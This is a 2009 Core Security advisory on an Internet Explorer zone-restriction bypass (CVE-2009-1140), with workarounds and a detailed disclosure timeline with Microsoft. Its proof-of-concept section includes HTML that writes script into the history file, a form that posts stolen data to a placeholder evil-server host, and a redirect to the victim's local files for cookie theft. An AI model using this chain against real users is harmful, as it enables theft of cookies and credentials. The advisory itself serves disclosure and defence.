Internet Explorer Security Zone restrictions bypass

Advisory ID Internal
CORE-2008-0826

1. Advisory Information

Title: Internet Explorer Security Zone restrictions bypass
Advisory ID: CORE-2008-0826
Date published: 2009-06-09
Date of last update: 2009-06-09
Vendors contacted: Microsoft
Release mode: Coordinated release

2. Vulnerability Information

Class: Client side
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 35200
CVE Name: CVE-2009-1140

3. Vulnerability Description

Internet Explorer (IE) is the most widely used Web browser, with an estimated count of 1,100 million users according to a worldwide survey conducted and published in 2008 [1]. This advisory describes a vulnerability that provides access to the contents of any file stored in the local filesystem of user's machines running vulnerable versions of IE.

Exploitation of the vulnerability relies solely on the ability for a would-be attacker to provide malicious HTML content from a website and to predict the full pathname for the file that will be used to cache it locally on the victim's system. If the entire path name can be predicted, the attacker can cause a redirection to the locally stored file using an URI specified in UNC form and force the local content to be rendered as an HTML document, which will permit to run scripting commands and instantiate certain ActiveX controls.

As a result of a successful attack, security or privacy-sensitive information can be obtained by an attacker including but not limited to user authentication credentials for any web application domain, HTTP cookies, session management data, cached content of web applications in different domains and any files stored on local filesystems.

The bug is related to a lack of enforcement of security policies assigned to URL Security Zones [2] when content from the corresponding zone is loaded and rendered from a local file. These issues have been found in the way that security policies are applied when a URI is specified in the UNC form (i.e., \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE):

  1. When a remote site attempts to access a local resource, IE will fail to enforce the Zone Elevation restrictions.
  2. When browsing a remote site, IE will not properly enforce the Security Zone permissions, allowing a site belonging to a less secure zone to be treated as belonging to a more privileged one.

4. Vulnerable packages

  • Internet Explorer 5.01 Service Pack 4
  • Internet Explorer 6.0
  • Internet Explorer 6.0 Service Pack 1
  • Internet Explorer 7 (not exploitable with Protected mode on, available on Vista)

4.1. Vulnerable platforms

  • Microsoft Windows 2000 up to and including Service Pack 4
  • Microsoft Windows Server 2003 up to and including Service Pack 2
  • Microsoft Windows XP up to and including Service Pack 3
  • Windows Vista up to and including Service Pack 1 (not exploitable with IE running with Protected mode on)
  • Windows Server 2008

5. Non-vulnerable packages

  • Internet Explorer 8 under Windows 2000/2003/XP/Vista

6. Vendor Information, Solutions and Workarounds

The following workarounds can prevent exploitation of the vulnerability:

  • Use Internet Explorer's Protocol Lockdown feature control to restrict the "file" protocol to prevent HTML from UNC path to run script or ActiveX controls.
  • Set the Security Level setting for the Internet and Intranet Zones to High to prevent IE from running scripts or ActiveX controls.
  • Manually disable Active Scripting for the Internet and Intranet Zone with a custom security setting.
  • Only run IE in Protected Mode if it is available on the operating system.
  • Use a different web browser to navigate untrusted web sites.

Additionally, although disabling file sharing if it is not necessary and filtering outbound SMB connections at the endpoint or network perimeter may not prevent exploitation it is generally a good security measure to prevent disclosure of sensitive information such as valid usernames of endpoint users.

Microsoft has issued a patch to fix the vulnerability and a detailed description of how to implement the workarounds on IE. 

Microsoft's Research and Defense blog has further discussion about the vulnerability, workarounds and mitigations.

7. Credits

This vulnerability was discovered and researched by Jorge Luis Alvarez Medina from Core Security Consulting Services (SCS). Additional research was made by Federico Muttis from Core Security Exploit Writers Team (EWT).

8. Technical Description / Proof of Concept Code

Internet Explorer uses a feature known as URL Security Zones [2], which defines a set of privileges for Web sites and applications depending on their apparent level of trustworthiness. The zones available in the product include:

  • Internet Zone: For Web sites on the Internet that do not belong to another zone.
  • Local Intranet Zone: For content located on an organization's intranet.
  • Trusted Sites Zone: For content located on Web sites that are considered more reputable or trustworthy than other sites on the Internet.
  • Restricted Sites Zone: For Web sites that contain content that can cause (or have previously caused) problems when downloaded.
  • Local Machine Zone: This is an implicit zone for content that exists on the local computer and it is not directly configurable through Internet Explorer security options by the user.

Internet Explorer users or Administrators can assign specific websites or domains to any of the available zone except the Local Machine Zone. The ability for a given website to perform security-sensitive operations on the web browser is determined by the Security Level of the zone to which the site was assigned. Each zone can be set to one of three preset security levels (High, Medium-High, Medium) or to a custom level with security policy settings specified by the user or administrator.

By default, all websites that are determined not to be in the Local Intranet zone and are not explicitly listed in the Restricted Sites or Trusted Sites zones are assigned the Internet Zone which has a default security setting of Medium-High. Thus, for most IE users the security-sensitive actions that a browser is allowed to perform while connected to an untrusted Internet site are those specified by the security policies of the Internet Zone at the Medium-High security level.

There are some issues in the way IE enforces zone security policies when an URI is specified in the UNC form (i.e., \\MACHINE_NAME_OR_IP\PATH_TO_RESOURCE). In this case, Internet Explorer classifies as Internet Zone any UNC address pointing to an IP address including 127.0.0.1. As a result, any website (belonging to any security zone) can address and redirect the navigation flow to files stored in \\127.0.0.1.

If an attacker controlling a website finds a way to store HTML with any valid scripting code the local file system of the visitor and then redirects the browser's navigation flow that local file (\\127.0.0.1\full_file_name), then this code will be loaded and rendered as if it belonged to the Internet Zone but since the file containing it is stored in \\127.0.0.1 it would also be able to access any other file on the visitor's file system.

The problem is derived from the sequence of actions performed by Internet Explorer to determine the content-type of the content to be loaded and the appropriate way to render it. The algorithm followed for this purpose is described in Microsoft's Knowledgebase article titled MIME Type Detection in Internet Explorer [3] and implemented in the function FindMimeFromData in URLMON.DLL [4].

In the following section, proof of concept code is provided to demonstrate the problem using the local storage used by Internet Explorer to store the user's browsing history to deliver HTML with scripting code and force IE to render it. This analysis is valid for any Windows NT based operating system but should be slightly modified to run under Windows Vista. It takes advantage of the following features:

  1. The IE user's browsing history is compounded of different files and folders. One of these files is named index.dat, and is usually located at: C:\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat. Although the format of this file is not entirely text, IE will store every visited URL including any parameters in the query string in plain text.
  2. Although the aforementioned folder cannot be directly browsed using Windows Explorer or Internet Explorer, it can be browsed and viewed by referring to the same folder using the UNC notation: \\[COMPUTERNAME|127.0.0.1]\C$\Documents and settings\USERNAME\Local settings\History\History.IE5.
  3. There are some HTML tags which allow to embed contents from external files and treat them with a specific format disregarding the file extension. For example, the HTML <object/> tag:
     

     

    <object data="index.dat" type="text/html" width="100%" height="50"></object>

    It allows to set the MIME type (in the type attribute) of an externally referenced file in the data attribute which will be loaded as an object.

  4. Internet Explorer behaves in a slightly different way when displaying a page directly rather than displaying that page inside an HTML <frame> tag. For example, a page containing an HTML <object> tag like the one shown below will prompt the user to accept the download of file being referenced inside if loaded directly but it will be automatically downloaded and rendered according to the specified MIME type if the page is loaded inside an HTML <frame> tag.
  5. Internet Explorer will determine the security zone of an UNC address as belonging to:
    1. The Internet Zone if the path refers to the target using an IP address, for example \\127.0.0.1.
    2. The Local Intranet Zone if the path refers to the target using a NetBIOS name, for example \\COMPUTERNAME.

8.1. Proof of Concept Code

The following proof of concept code demonstrates that by enticing a user to do a single click on a malicious website it is possible to retrieve every HTTP cookie from the unsuspecting victim user. The PoC uses VBScript to show the ability to steal sensitive information from any local files with either text or binary contents.

There are several steps involved in order to make the attack path clear. The following diagram shows the files involved and the calling order. Details concerning the relationship between these files will be explained along the walkthrough:

 

 

 

Everything starts when the victim user points her browser to the following URL:

 

http://[EVIL SERVER IP ADDRESS]/evilsite.htm

This page will trigger SMB requests against our evil server to extract the victim's USERNAME. The script named captureSMB.pl running in the server will be the one in charge of processing these requests to create the index.dat.english.pl file which will be used later to redirect the victim's browser to the locally stored index.dat file.

However, the main objective of this page is to set (when redirecting to the next page) HTML code inside the victim's history index.dat file. The HTML source code to accomplish such tasks would look very much like the following:

<html> <head> <script> function redirectNow(){ document.location = 'http://[EVIL SERVER IP ADDRESS]/setForm.htm\?[HTML CODE]; } </script> </head> <body onload="javascript:redirectNow();"> <img src="\\[EVIL SERVER IP ADDRESS]\thereisnosuchfile.gif"> </body> </html>

In turn, the next files in the redirecting chain (setSecondScript.htm and setFirstScript.htm ) will also be used to accomplish the same second objective as the starting page. As stated before this will result in the victim's index.dat history file storing the HTML code passed inside the query string in plaintext. The HTML code stored up to this point would look like this:

<form name='frmUpload' id='frmUpload' action='http://[EVIL SERVER IP ADDRESS]/newcgi.pl' method='post' enctype='multipart/form-data'> <input type='hidden' name='data' id='data'> <input type='submit' value='Submit'> </form> <script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ stealcookies.vbs'></script> <script language='vbscript' src='http://[EVIL SERVER IP ADDRESS]/ scripty.vbs'></script>

At this point, the victim's browser will be served with setFirstScript.htm. This page will just redirect the browser to another page (frameset.htm), which simply defines the frames where the last page (object.htm) referencing the index.dat file will be loaded into.

The HTML code used for loading the index.dat file and rendering it as HTML code is just a simple HTML <object> tag:

<object data="index.dat.english.pl" type="text/html" width="100%" height="50"></object>

As can be seen, this is the file we generated in the first step based upon the actual USERNAME we obtained. In turn, this file will just redirect the request to the victim's index.dat:

Status: 302 Found Content-type: text/html Location: file://[127.0.0.1|COMPUTERNAME]/C$/Documents%20and%20settings/USERNAME/Local%20settings/History/History.IE5/index.dat

This indirection level is required to avoid Internet Explorer from prompting the user to download the target file.

If loaded, the file will execute under the Internet Zone with the access rights of such zone but, given that the file is served from the local disk, with the ability to read any file in the local drive. However, success of the attack will depend on the ability to obtain or guess the right username as explained later.

By taking advantage of these sequence of actions, the script named scripty.vbs will read the victim's index.dat located at C:\Documents and settings\USERNAME\Cookies\ which indexes the whole set of HTTP cookie files managed by IE and send it back to the malicious server using an HTML <form> we have set previously. At the server side, the PERL script named newCGI.pl will:

  • process the received file, and store it in the server;
  • create the script named stealcookies.vbs considering the cookies filenames gathered from the stolen file;
  • redirect the victim's browser back to the framset.htm page.

This time, when the victim's history index.dat file is rendered again, the script stealcookies.vbs will be loaded. This script will read every single cookie file the user has stored in the aforementioned Internet Explorer cookie's folder and will send the contents back to the server using the same HTML <form> used before. On the server side the one in charge of processing this data will be the Perl script named newCGI.pl. This time, it will:

  • Process the received file, and store it in the server under the name of stolen.txt;
  • Redirect the victim's browser back to this file.

8.2. Obtaining the right USERNAME

To get the right username, we can take advantage of some other idiosyncrasies of Internet Explorer. If it is possible to make outbound SMB requests to an untrusted web server we can leverage that to include inside the main page some references to inexistent resources in our server. The client will attempt to establish a SMB connection against it from where the USERNAME could be obtained as well as some other useful data such as the COMPUTERNAME or the ciphered challenge/response.

Our proof of concept contemplates 2 possibilities:

  1. The victim's machine is able to establish a connection to the port 445 (NetBIOS over TCP/IP) on the malicious server in which case the correct USERNAME can be obtained to build the right UNC path to the index.dat file:
     

     

    \\127.0.0.1\C$\Documents and settings\USERNAME\Local settings\History\History.IE5\index.dat

     

  2. The port 445 is not allowed for outbound connections in which case the code will simple try to guess the right username using common names such as Administrator to build an UNC path like the following:
     

     

    \\127.0.0.1\C$\Documents and settings\Administrator\Local settings\History\History.IE5\index.dat

In both cases, the file will be rendered as belonging to the Internet Zone.

 

 


8.3. Proof of Concept 

 

A package with the following files:

  • evilsite.htm: The main page, which shots the SMB requests and redirects to setForm.htm passing, as part of the query string, HTML code to be set in the history index.dat file.
  • setForm.htm: This page acts as a bridge (receives the evil scripting code as a query string parameter) and redirects to setSecondScript.htm passing HTML code to be set in the history index.dat file.
  • setSecondScript.htm: This page acts as a bridge (receives the evil scripting code as a query string parameter) and redirects to setFirstScript.htm passing HTML code to be set in the history index.dat file.
  • setFirstScript.htm: This page acts as a bridge (receives the evil scripting code as a query string parameter) and just redirects to frameset.htm.
  • frameset.htm: This page defines the frames where the page trying to access the index.dat file will be loaded into.
  • stealCookies.htm: Same as frameset.htm, this page defines the frames where the page trying to access the index.dat file will be loaded into.
  • object.htm: The page to be loaded in frameset.htm. It covers the test cases 1 and 2 explained above in this document.
  • captureSMB.pl: This script must be running in the example server. It will be listening for SMB requests, and when they occur, will create a pair of index.dat.[LANG].pl files, attempting to cover a couple of Windows OS languages.
  • newCGI.pl: This file will handle the files received from scritpy.vbs, generate the script named stealcookies.vbs and, in a subsequent call, will receive and store the stolen cookies.
  • scripty.vbs: A script file loaded by the HTML code written in the index.dat file. It will send the victim's cookies index.dat file back to the server.
  • index.dat.english.default.pl: A redirect to the file assuming the user Administrator under an English language Windows version.
  • index.dat.spanish.default.pl: A redirect to the file assuming the user Administrador under a Spanish language Windows version.

9. Report Timeline

  • 2008-10-08: Core Security notifies the Microsoft Security Response Center (MSRC) that a vulnerability has been found in Internet Explorer (IE). Core sends a draft security advisory with technical details and PoC files and announces its initial plan to publish the advisory on December 1st, 2008.
  • 2008-10-09: The MSRC acknowledges notification.
  • 2008-10-09: MSRC states that it is currently investigating the reported issue.
  • 2008-10-14: MSRC announces the investigation was completed. The flaw can be reproduced by the vendor and it is considered a bulletin class issue.
  • 2008-10-14: MSRC announces that the vendor will not be able to hit a December release date due to the mandatory quality test cycle required for IE updates.
  • 2008-10-16: Core asks MSRC for an estimated date to fix these issues.
  • 2008-11-04: Core requests an answer to the previous mail and also details about:
    1. the root cause of the problem,
    2. the list of affected platforms, and
    3. the severity rating Microsoft has assigned to the bug.
  • 2008-11-05: MSRC responds that patches to IE ship every two months and the next available ship date will be February 10th. The case is currently rated as an Important class Information Disclosure vulnerability. Vendor provides a list of affected components and platforms. The MSRC was able to reproduce this issue on all IE versions with the following exceptions: IE7 and IE8 in Windows Vista when Protected Mode is ON. In spite of that MSRC does not include IE8 in list of affected components because it is still a beta product.
  • 2009-01-08: Core asks MSRC if it is still on track to release patches on February 10th, 2009.
  • 2009-01-09: MSRC responds that the out-of-band fix released in December took a lot of the resources that were assigned to February's release schedule and will not be able to meet the February release date. MSRC informs the next available release date would be April 14th, 2009.
  • 2009-03-23: Core asks MSRC if it is still on track to release fixed versions on April 14th.
  • 2009-03-26: MSRC responds the product team addressed this issue in IE8 with the plan to port that code fix down-level (IE7, IE6 and IE5). In order to accomplish these fixes in the previous IE versions, MSRC informs Core the first available scheduled release in the future will be in June, 2009.
  • 2009-03-26: Core indicates that the previous email from MSRC is quite confusing. It seems to indicate that the vulnerability is already fixed in IE8 whereas at the time of the original report IE8 was still a beta product and there was not any communication from MSRC indicating whether the problem was going to be fixed nor a tentative date for such fix. Core asks MSRC to confirm that the vulnerability was indeed fixed in the released version of IE8 while two consecutive tentative released date for patches to the officially confirmed vulnerable versions IE5 to IE7 have been missed. In the case of such confirmation Core also asks clarification about Microsoft's previously stated policy of releasing fixes for all vulnerable versions at the same time as indicated in the emails exchanged during the reporting process of a IE vulnerability closely related to this one that Microsoft catalogued as an Outlook Express/Windows Mail bug [5]. Core indicates that it considers that an 8-month release cycle is well beyond the reasonable time frame to issue fixes for a bug that it considered rooted at the same cause of a previously reported one, for which differences in its technical analysis were not resolved because Microsoft repeatedly ignored request for a technical root cause analysis. Therefore, pending answers to the above questions and specific technical details about the root cause of the problem and when, how and which platforms have the bug fixed Core will proceed with publication on April 14th as previously agreed. In the meantime Core will further investigate the issue in order to provide customers, ISVs and the security community all the necessary information to assess their risk and independently devise fixes, workarounds or mitigations.
  • 2009-04-08: Core requests an answer to the previous mail. Core is on track to publish the security advisory and would like confirmation that the released version of IE8 fixed the bug.
  • 2009-04-08: MSRC notifies Core that the reason why IE8 did ship with this fix ahead of the down-level versions was because IE8 was already in-development and it was safer and cleaner to check in this fix into the existing development cycle of IE8. MSRC also confirms that the bug is fixed in the currently released version of IE8 and it is currently being back-ported to the down-level versions of IE. MSRC indicates that it does not document security fix changed in the latest products if the vulnerability continues to exist in down-level support platforms which helps Microsoft to "not zero-day the down-level platforms" and gives the opportunity to provide updates for them. MSRC states that the vendor is currently in the path to release the update in June and would appreciate it if it could coordinate the release of Core's advisory on that same time.
  • 2009-04-13: Core notifies that probably the advisory will be released in a week although the final decision has not been made yet and that a vendor statement and workarounds would be highly appreciated. Core is working on the final version of the advisory and would like to improve the workaround and mitigation sections, for that purpose it is requesting assistance from the vendor. Core asks MSRC for mitigation and workarounds for users not running IE8. It also notifies that upon further research it found a variation of the original attack that may still compromise the original release of IE8. Other versions of IE8 (with the same version and build number) do not seem to be vulnerable to the attack variation. The 'non-vulnerable' instance of IE8 tested was patched by Windows auto-update in or around April 7th. Core asks MSRC to confirm whether the original IE8 release was vulnerable to bug and the bug later silently fixed by an update shipped through Windows auto-update.
  • 2009-04-14: MSRC asks Core more details about the version of IE8 that was successfully compromised by a variation of the original attack. The MSRC notifies the original attack was addressed in the RC1 version of IE8 and wants to make sure there is not an issue with the fix.
  • 2009-04-14: MSRC indicates that received verification from the product team that Protected Mode ON for the Internet Zone does block the attack in IE7. The vendor states that it is currently investigating the IE8 specific mitigations. With regards to IE8 the product team included the fix in RC of IE8 which was released in January and it is unsure about the differences between vulnerable and non-vulnerable instances of IE8. The product team is still working on the fixes for the next release but MSRC would like to make private binaries available for testing in the event that Core postpones publication of the advisory. MSRC offers to setup a conference call to discuss some of the challenges of fixing this bug and why it required in-depth investigation.
  • 2009-04-16: Core Security and the Secure Windows Initiative (SWI) discuss this issue in a conference call. The vendor states that it will obtain a list of non-security updates released for IE8 post RTM and obtain a similar list for Office and Windows since April 1st. The goal is to understand whether a non-security update has fixed a security bug. The vendor will also provide the technical description and the private fixed bits for this specific issue when available. Core is going to provide (in the next couple of days) the version of the IE8 that seems to be affected by this issue, and the modified PoC that was used to reproduce the problem on IE8. Core will inform MSRC of publishing date for the corresponding security advisory when the decision is made.
  • 2009-04-17: Core sends technical details, the list of fixes installed on vulnerable and non-vulnerable systems and modified Proof of Concept that works on certain versions of IE8 RTM and does not on others. In both cases the version and build number are exactly the same. Core have also found that, although the PoC sent to MSRC in the original report does not work on IE8 RTM, a variation of it continues to work in certain cases. Basically, it seems that IE8 RTM prevented code from being executed from index.dat mapped anywhere lower than an 0x4000 offset but if the offending code is above 0x4000 and not from index.dat it can still be executed.
  • 2009-04-17: MSRC notifies there were two updates released at the end of March. One was a Compatibility View List [6] and the second was an SPAD fix [7] that affects Vista X64 only. Vendor also notifies they are going to investigate whether this might have impacted the original attack vector. The technical analysis of the problem determined that the HTML engine checks the mime type for file it cannot handle and if there is not a match MIME sniffing is performed without a predetermined hint, unknown files are treated as HTML due to the redirection and in absence of a specific content-type MIME-sniffing will end up defaulting to text/html.
  • 2009-04-22: MSRC sends patched binaries for Vista/IE7. These binaries are the fix for the first issue submitted by Core and do not fix the second PoC sent by Core the previous week. MSRT also provides some workarounds for the first PoC reported. The IE team has investigated the additional PoC and has determined that while functionally it appears the same as the original issue submitted, when debugged the actions taken by the system are controlled by different functions, and this difference is significant enough to perform further investigation. The vendor asks to re-schedules the advisory publication date to June 2009.
  • 2009-04-22: MSRC asks additional details about the attack vectors discussed between Core and the Secure Windows Initiative (SWI) in the last conference call (16th, April). MSRC indicates that it has identified two workarounds for the original issue: Disabling scripting (which is default for Enhanced Security Configuration on Windows 2003 and Windows Server 2008) and disabling "Run ActiveX Controls and plugins". The IE team has investigated the second PoC and determined that the functionality appears the same but when debugged the actions performed by the system are different. The differences are considered significant enough to perform further investigation. MSRC proposes to release the fix for the issue originally reported in June and to continue investigation on the second PoC afterwards.
  • 2009-04-23: Core responds that, according to the technical information provided by the IE team it appears that the problem could be exploitable with any local file loaded through a redirection and thus defaulting to text/html that is not explicitly known by the HTML engine (Trident) and for which IE would end up defaulting to html as hinted. The mention of specific files during the conference call was just as an example of a potential vector but not a confirmed exploitation method that was explicitly discussed.
    Core also notifies the advisory publication will be delayed at least until next Wednesday (April 28th) since it appears that the bug was not actually fixed properly in IE8 and that new information has been provided.
  • 2009-04-23: Core also suggests some mitigation actions to prevent the exploitation of this flaw. For example, by explicitly constraining file://127.0.0.1 to a given zone (i.e. Intranet) and then disabling "Websites in less privileged web content zone can navigate into this zone" for that zone.
  • 2009-04-24: MSRC notifies that it would be possible to bypass the suggested workaround if a malicious site had its domain name resolve to 127.0.0.1 since Zone determination does not depend on name resolution.
  • 2009-04-24: Core suggests other possible workarounds that involve explicitly setting the two UNC forms of targeting the localhost IP addressing the Internet Zone and setting the security level to High which seems to be in line with the suggestions from Microsoft's knowledgebase article about the IE Enhanced Security Configuration and asks for additional technical details to clarify the last email from MSRC. Core asks for clarification about the zone determination algorithm.
  • 2009-04-24: MSRC provides further technical analysis, and notifies that some of the proposed workarounds would work on all affected versions of IE.
  • 2009-04-28: The vendor asks to re-schedule the advisory publication date for a coordinated release during the regular June bulletin release cycle.
  • 2009-05-04: Core responds that it decided to set the publication date for the security advisory to Tuesday June 9th, 2009. This will give MSFT the opportunity to ship an official patch for all vulnerable versions of IE in the next available patch release cycle. Core also notifies this date is final and that in absence of an official fix Core will nonetheless publish the security advisory with all the technical details and information necessary for third parties to understand the risk and figure out and apply workarounds or mitigating measures.
  • 2009-05-06: MSRC indicates that it would like to set up a conference call to clarify the concerns about workarounds and to discuss additional possible mitigation actions.
  • 2009-05-26: Core ask for the status of the fix and whether it is on schedule for the June 9th release, responds that it prefers to keep the communication process properly documented by e-mail but notifies that a conference call would be possible if the vendor feels that it is absolutely necessary or the best way to discuss workarounds and mitigation actions.
  • 2009-05-28: MSRC notifies the fix for the issue submitted in October 2008 is on track to be released on the second Tuesday in June 2009. Vendor is still determining the best way to address the additional PoC provided for IE8, and MSRC asks for a conference call to clarify some confusion of the proposed workarounds and mitigations.
  • 2009-06-01: Core notifies the possible timeslot for setting up a conference call with MSRT would be June 2nd or June 4th. Core also asks if the vendor is considering the second PoC as a separate vulnerabilities or just variations on how to exploit the same bug.
  • 2009-06-01: MSRC suggests setting up the conference call on June 4th. The vendor also notifies that during the investigation of the 2nd PoC, when debugged, the system actions are controlled by different functions and the difference is significant enough to address the 2nd PoC as a whole.
  • 2009-06-02: Core responds it would be available for a conference on June 4th. Conference call set scheduled.
  • 2009-06-04: Conference call attended by MSRC, IE team member, Core security advisories team and vulnerability researchers.
  • 2009-06-04: Core sends MSRC notes taken during the conference call. Actions items:
    • MSRC to provide workaround and mitigations and to follow-up on issues demonstrated by the second PoC.
    • Core to further investigate workarounds and mitigations and to provide MSRC the final draft of the advisory before publication (by Monday).
  • 2009-06-04: MSRC sends notes of the conference call. Official workarounds and mitigating factors to be included in the Security Bulletin and link the Security Research and Defense blog with additional information.
  • 2009-06-04: Core suggests the use of the Protocol Lockdown feature control as possible workaround.
  • 2009-06-05: MSRC confirms that Protocol Lockdown is a feasible workaround. Details will be included in the Security Research and Defense blog.
  • 2009-06-09: Final draft of the advisory sent to MSRC.
  • 2009-06-09: Core Security Advisory CORE-2008-0826 published.

  • 10. References

    [1] http://www.techzoom.net/publications/insecurity-iceberg/index.en
    [2] http://msdn2.microsoft.com/en-us/library/ms537183.aspx.
    [3] http://msdn.microsoft.com/en-us/library/ms775147(VS.85).aspx
    [4] http://msdn.microsoft.com/en-us/library/ms775107(VS.85).aspx
    [5] http://www.coresecurity.com/core-labs/advisories/internet-explorer-zone-elevation
    [6] Compatibility View KB968220 - http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=008753cc-2882-400c-a45d-587c870b8c0d and http://support.microsoft.com/?kbid=968220.
    [7] SPAD link - http://support.microsoft.com/kb/969058.

    11. About CoreLabs

    CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: www.coresecurity.com/core-labs.

    12. About Core Security 

    Core Security develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. www.coresecurity.com

    13. Disclaimer

    The contents of this advisory are copyright (c) 2009 Core Security and (c) 2009 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.